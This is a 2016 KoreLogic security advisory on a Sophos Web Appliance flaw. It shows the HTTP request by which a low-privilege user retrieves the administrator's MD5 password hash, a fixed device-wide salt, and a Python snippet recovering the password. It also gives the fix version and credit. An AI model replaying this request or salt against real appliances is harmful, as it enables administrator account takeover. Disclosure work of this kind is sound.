Sophos Web Appliance Privilege Escalation

Vulnerability Description

An unprivileged user can obtain an MD5 hash of the administrator password which can then be used to discover the plain-text password.

Technical Description

A user with the privileges: Helpdesk, Policy, Reporting, or User Activity can obtain an MD5 hash for the Full Access Administrator account. A valid session identifier is required and is delivered through the STYLE parameter.

GET /index.php?c=change_password&STYLE=7151e50b0389755717510f218b1af00c HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close

HTTP/1.1 200 OK
Date: Tue, 10 May 2016 00:36:43 GMT
Server: Apache
X-UA-Compatible: IE=7
Cache-Control: no-store, no-cache, must-revalidate, private, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 8798

...
{"currentUser":"test","globalUser":false,"swa_title":"Change Password","usersJS":"[{\"id\":\"default_admin\",\"username\":\"admin\",\"name\":\"Default Administrator\",\"password\":\"f98d0973dffdc3a29ee67167c15b882e\",\"description\":\"Default Administrator Account\",\"admin\":true,\"roles\":\"Full Access Administrator\",\"reporting_groups\":[]},{\"id\":\"5605c1fef6927d2c45a62b0abcba5385\",\"username\":\"test\",\"name\":\"test\",\"password\":\"caeaea5602b40c779b8669b7001f3396\",\"description\":\"asdfghj\",\"admin\":false,\"roles\":[\"helpdesk\",\"policy\",\"reporting\",\"user_activity\"],\"reporting_groups\":[\"all\"]},{\"id\":\"a39244da844197796609fc5b8aad7f3c\",\"username\":\"woot\",\"name\":\"woot\",\"password\":\"f0ce19faed6df0443c80aceea4c7b7ae\",\"description\":\"none\",\"admin\":false,\"roles\":[\"helpdesk\"],\"reporting_groups\":[]}]","cma":{"joined":false,"host":"","is_cma":false,"swa_joined":false,"is_vm":true},"locale":"en","trialMode":true,"licenseDaysLeft":29,"navigation":["<a class=\"button \" id=\"lnk_cancel\" href=\"#\" onclick=\"this.blur(); return false;\">\n    <span class=\"buttonLabel\">Cancel<\/span>\n<\/a>","<a class=\"button \" id=\"lnk_save\" href=\"#\" onclick=\"this.blur(); return false;\">\n    <span class=\"buttonLabel\">Save<\/span>\n<\/a>"],"navigation_left":[],"status_processing":"Submitting...","status_password_dont_match":"Password mismatch","status_invalid_password":"Invalid password","status_current_password_invalid":"Current password invalid","uiStatusMessages":{"status_processing":"Submitting...","status_password_dont_match":"Password mismatch","status_invalid_password":"Invalid password","status_current_password_invalid":"Current password invalid"},"rba":{"reports":true,"search":true,"configuration":true,"system_status":false,"help_support":true,"editable":true,"current_user":"test","globalUser":false,"admin_role":false}
...

A fixed salt is apparently used for all such devices: P3T3R p@rk3r

The admin MD5 hash in this case is: f98d0973dffdc3a29ee67167c15b882e

Mitigation and Remediation Recommendation

The vendor has issued a fix for this vulnerability in Version 4.3 of SWA. Release notes available at:

http://swa.sophos.com/rn/swa/concepts/ReleaseNotes_4.3.html

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

>>> from hashlib import md5
>>> md5('P3T3R p@rk3radmin123').hexdigest()
'f98d0973dffdc3a29ee67167c15b882e'

The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt